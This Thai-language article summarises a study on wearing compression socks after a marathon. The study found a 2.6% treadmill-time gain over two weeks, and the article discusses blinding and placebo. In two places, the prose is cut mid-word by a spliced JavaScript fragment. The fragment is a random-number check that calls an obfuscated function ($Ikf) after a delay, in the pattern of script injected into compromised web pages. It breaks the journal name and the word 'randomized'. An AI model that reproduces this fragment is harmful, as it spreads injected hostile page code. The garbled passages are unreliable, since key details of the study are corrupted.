การใส่ compression sock ไม่ได้ใส่เพื่อแฟชั่นอย่างเดียวที่เราเข้าใจ เพราะได้มีหลักฐานทางวิทยาศาสตร์สนับสนุนว่าการใส่ compression sock สามารถเพิ่ม performance ของเราได้
เชื่อหรือไม่การใส่ Compression sock ช่วยให้เราสามารถพื้นตัวได้เร็วขึ้น (improve recovery) จากผลการทดลอง 2 สัปดาห์หลังจากจบงานวิ่งมาราธอน พบว่ากลุ่มที่ใส่ compression sock มี performance เพิ่มขึ้น 2.6% ขณะที่กลุ่มที่ไม่ใส่ พบว่า performance จะลดลง
นิตยสาร Journal of Strength andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Conditioning Research ได้ตีพิมพ์ผลจากการใส่ compression sock 48 ชั่วโมงหลังจากจบงานวิ่งมาราธอน และทำการทดสอบ 2 สัปดาห์ต่อมาโดยการใช้ treadmill พบว่าผู้ทดลองมี performance ที่ดีขึ้น การศึกษาจะดูที่ผลของ recovery effect จากการใส่ compression sock ซึ่งผู้เข้าทดลองจะต้องทำการทดสอบ exhaustion หรือการวิ่งบน treadmill จนเหนื่อยนะครับ โดยจะเซตเวลา 2 สัปดาห์ก่อนและหลังวิ่งมาราธอน ทั้งนี้มีผู้เข้าร่วมทดลองทั้งหมด 49 คน แต่จริงๆ นับไปนับมาจบที่ 33 คน เหตุผลการทดลองอาจจะโหดไปหน่อย
การวิ่งทดสอบเมื่อเปรียบเทียบกันระหว่างกลุ่มที่ใส่และไม่ใส่ พบว่ากลุ่มที่ใส่ compression sock จะทำเวลาเพิ่มขึ้น 52.4 +/- 10.33 วินาที หรือคิดเป็น 2.6% ขณะที่กลุ่มที่ไม่ใส่ compression sock กลับทำเวลาได้ลดลง 61.7 +/- 129.6 วินาที หรือลดลง 3.4%
ดังนั้นนักวิจัยจึงฟันธงว่าการใส่ Compression sock มีผลต่อการพื้นตัวได้เร็วขึ้น (recovery affect)
หมายเหตุ
Compression sock ที่ใช้เป็นยี่ห้อ Jobst ที่มาตรฐานเทียบเท่ายี่ห้ออื่นๆ ในตลาดและการทดลองใช้วิธี random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andomized controlled double-blinded design แม้จะเป็นการทดลองแบบ blinded test ผู้ทดลองอาจจะรู้ว่าตัวเองอยู่ในกลุ่มที่ใส่ compression sock หรือไม่โดยดูจากความยืดหยุ่นจากถุงเท่า รัดมากรัดน้อย และคนที่ใส่ Compression sock อาจจะมีอาการที่เรียกว่า placebo effect (ของแพง คือของดี หรือ สิ่งที่มีคนอื่นบอกกันว่าใช้แล้วจะได้ผลดี)
